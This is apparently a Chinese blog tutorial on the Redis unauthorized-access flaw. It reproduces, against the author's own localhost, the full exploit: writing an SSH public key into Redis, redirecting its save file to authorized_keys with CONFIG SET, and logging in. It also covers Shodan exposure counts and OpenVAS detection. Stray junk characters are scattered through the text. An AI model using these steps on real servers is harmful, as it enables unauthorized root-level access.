redis未授權訪問漏洞
了解漏洞
redis是什么?
通過查閱資料可知趣席,redis即為key-value數(shù)據(jù)庫中的一種。這有點用名詞解釋名詞了醇蝴,但是這有必要先解釋一下key-value數(shù)據(jù)庫宣肚。
Key-value數(shù)據(jù)庫顧名思義就是利用鍵和數(shù)據(jù)值相對應存儲的一種數(shù)據(jù)庫,就類似于java中的map悠栓。我們整個數(shù)據(jù)庫就可以看成一個大的map霉涨,在map中一個特地的key對應一個唯一的value。
同時我們redis作為key-value數(shù)據(jù)庫的一種他支持很多很多的value的類型惭适,redis也是一種內(nèi)存型的數(shù)據(jù)庫笙瑟,所以可以提供高效率的讀寫,但同時他占用cpu將會很高癞志。在內(nèi)存上操作往枷, 我們很容易想到數(shù)據(jù)的持久化的問題,不用擔心,redis可以將數(shù)據(jù)持久化到硬盤中错洁,所以在對不同數(shù)據(jù)集進行高速讀寫時需要權衡內(nèi)存秉宿,因為數(shù)據(jù)量不能大于硬件內(nèi)存。
看看網(wǎng)上說的reids相對于其他key-value數(shù)據(jù)庫的三大優(yōu)點:
·Redis支持數(shù)據(jù)的持久化屯碴,可以將內(nèi)存中的數(shù)據(jù)保存在磁盤中描睦,重啟的時候可以再次加載進行使用。
·Redis不僅僅支持簡單的key-value類型的數(shù)據(jù)导而,同時還提供list忱叭,set,zset今艺,hash等數(shù)據(jù)結構的存儲韵丑。
·Redis支持數(shù)據(jù)的備份,即master-slave模式的數(shù)據(jù)備份洼滚。
redis未授權訪問漏洞
Redis在默認情況會將服務綁定在0.0.0.0:6379上埂息,從而將服務暴露在公網(wǎng)環(huán)境下,如果在沒有開啟安全認證的情況下遥巴,可以導致任意用戶未授權訪問Redis服務器并Redis進行讀寫操作千康。攻擊者在未授權訪問Redis服務器時可以通過上傳公鑰的方法將自己的公鑰上傳到Redis服務器上,達到免密登陸的效果铲掐。
具體漏洞描述
Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網(wǎng)絡中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 拾弃。
Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設計哲學中仍是不劃算的。
因為其他受信任用戶需要使用 Redis 或者因為運維人員的疏忽等原因摆霉,部分 Redis 綁定在 0.0.0.0:6379豪椿,并且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關的策略携栋,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等搭盾,將會導致
Redis 服務直接暴露在公網(wǎng)上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作婉支。
利用 Redis 自身的提供的 config 命令鸯隅,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中向挖,進而可以直接使用對應的私鑰登錄目標服務器蝌以。
漏洞危害
如果攻擊者進入了我們的redis服務器,他便可以自由下載數(shù)據(jù)庫中的文件何之,造成信息泄露跟畅,造成個人隱私泄露或者公司機密泄露,造成巨大損害溶推。同時如果攻擊者進行提權獲取更大的權限徊件,還會產(chǎn)生更大的危害奸攻。
我嘗試使用Shodan對公網(wǎng)上的開放的redis進行搜索(port:6379):
我們可以看到一共有87881個結果,其中我國位列榜首庇忌。舞箍。舰褪。皆疹。國人的安全意識還是有待提高。
看一下具體地圖分布吧:
兩次搜索數(shù)量有一點不一樣占拍。
榜首竟然是杭州阿里巴巴略就。
漏洞的復現(xiàn)和利用
安裝redis(我采用源碼安裝)
首先下載源碼然后編譯安裝
$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make
編譯完成:
配置文件
在Src目錄下,有四個可執(zhí)行文件redis-server晃酒、redis-benchmark表牢、redis-cli和redis.conf(這個在安裝目錄)。然后拷貝到一個目錄下贝次。
$ mkdir /usr/redis
$ cp redis-server /usr/redis
$ cp redis-benchmark /usr/redis
$ cp redis-cli /usr/redis
$ cp redis.conf /usr/redis
$ cd /usr/redis
開啟redis服務
直接進入剛剛創(chuàng)建的redis文件夾后執(zhí)行
$ ./redis-server ./redis.conf
檢查是否成功開啟
配置redis崔兴,使他處于漏洞狀態(tài)
我直接開啟了redis,此時沒有認證蛔翅,redis的默認就是這樣敲茄,然后我只需要將redis更改綁定在0.0.0.0:6379就可以,在redis.conf里面更改就行了山析。
嘗試使用namp掃描了一下我的6379端口
可以看到一下子就可掃描出信息堰燎,而且包含一下敏感信息。
嘗試利用redis客戶端進行未授權訪問
果然笋轨,很成功就進入了秆剪,上門查看了主機信息(信息在下面,沒截圖)
開啟公鑰登錄
生成公鑰:
$ ssh-keygen -t rsa //rsa加密
然后將公鑰寫入文本:
$ cd ~/.ssh/
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt
將1.txt寫入redis
$ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1 -x set crack
利用redis客戶端連接
$ ./redis-cli -h 127.0.0.1
獲取redis備份路徑爵政,更改redis備份路徑仅讽,設置備份文件的名稱為authorized_key
$ CONFIG GET dir
$ CONFIG SET dir /home/r_song/.ssh //更改目錄到r_song下
$ CONFIG SET dbfilename authorized_keys
$ CONFIG GET dbfilename //獲取確認一下更改成功
$ Save //保存
然后用ssh進行連接即可(在.ssh路徑執(zhí)行,并先把我們虛擬機的ssh服務打開)
$ ssh –i id_rsa ******@127.0.0.1
就可以成功登錄钾挟。
使用openvas對我們存在漏洞的系統(tǒng)進行掃描
查掃描結果(在上一篇博客介紹了openvas)
從圖中我們可以看到洁灵,redis-1我是使用默認的掃描方式,然后redis2是掃描的all tcp and namp 5.1 top100掃描的但是結果不一樣等龙。我們重點看redis2這個掃描結果:
可以看到掃描出了redis服務沒有密碼处渣。
了解openvas使用的各種插件,即nvt是什么
Nvt(network vulnerability tests)即網(wǎng)絡漏洞測試蛛砰,是openvas中的免費的掃描插件罐栈。我可以在線同步獲取這個插件(openvas-nvt-sync)或者離線下載。
這是我在官網(wǎng)上找到的openvas工作的圖泥畅,可以看到荠诬,openvas的插件nvt是在openvas scanner提供服務的。nvt就是根據(jù)不同的需求調(diào)用nasl腳本進行檢測。
對應掃描該漏洞的nvt是什么柑贞?
在掃描結果中可以找到nvt的名稱方椎,以及OID編號,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根據(jù)OID編號查找對應nvt的文件名是什么钧嘶,然后可以在/var/lib/openvas/plugins/目錄下棠众,找到該文件。
找到指定文件:
前面是這個nvt的一些信息有决,比如oid闸拿,version,還有危險評分等书幕。Family是屬于database的新荤。基本這些都是信息台汇。
主要就是后面幾行苛骨,先獲取了端口信息,確定端口是否打開:get_app_port()苟呐。然后使用get_kb_item(〈name〉)函數(shù)可以獲得基本信息的〈name〉項的值痒芝,這個函數(shù)是匿名函數(shù)。通過測試no_password如果成功了就說明有這個漏洞掠抬,然后退出吼野。后面是加密信息端口號。